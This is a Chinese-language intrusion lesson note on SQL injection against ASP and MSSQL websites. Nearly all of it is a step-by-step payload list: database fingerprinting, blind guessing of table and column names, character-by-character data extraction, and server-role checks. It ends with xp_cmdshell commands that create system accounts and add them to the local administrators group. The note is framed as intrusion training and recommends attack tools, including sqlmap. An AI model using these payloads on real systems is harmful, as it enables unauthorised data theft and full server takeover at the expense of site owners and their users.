web-入侵之注入漏洞asp+mssql-4

web-入侵之注入漏洞asp+mssql-4

0x00 前言

本节课,讲师想要讲解一个asp+mssql的漏洞演示。但是却没有找到一个很好的站点来进行演示,其实整个流程和assess类似,无非是多一个数据库进行判断

0x01 过程

1.判断注入

这里不强调

2.判断数据库

;and user>0

3.判断数据库协同

;and (select count(*) from sysobjects)>0 mssql

4.注入参数是字符

‘and [查询条件] and ”=’

5.搜索时没过滤参数的

‘and [查询条件] and ‘%25’=’

6.猜数表名

;and (select Count(*) from [表名])>0

7.猜字段

;and (select Count(字段名) from 表名)>0

8.猜字段中记录长度

;and (select top 1 len(字段名) from 表名)>0

9.

(1)猜字段的ascii值(access)

;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0

(2)猜字段的ascii值(mssql)

;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0

10.测试权限结构(mssql)

;and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘serveradmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘setupadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘securityadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’));–
;and 1=(select IS_MEMBER(‘db_owner’));–

11.添加mssql和系统的帐户

;exec master.dbo.sp_addlogin username;–
;exec master.dbo.sp_password null,username,password;–
;exec master.dbo.sp_addsrvrolemember sysadmin username;–
;exec master.dbo.xp_cmdshell ‘net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;–
;exec master.dbo.xp_cmdshell ‘net user username password /add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–

0x02 总结

其实在现在的时候已经很少的有asp+mssql了。不过作为一个了解还是很好的。
然后在讲师的讲解的过程中使用了两个工具,明小子和啊D,非常经典的工具,用来做一个简单的快速判断还是很不错的。可以学习,但是建议转战sqlmap。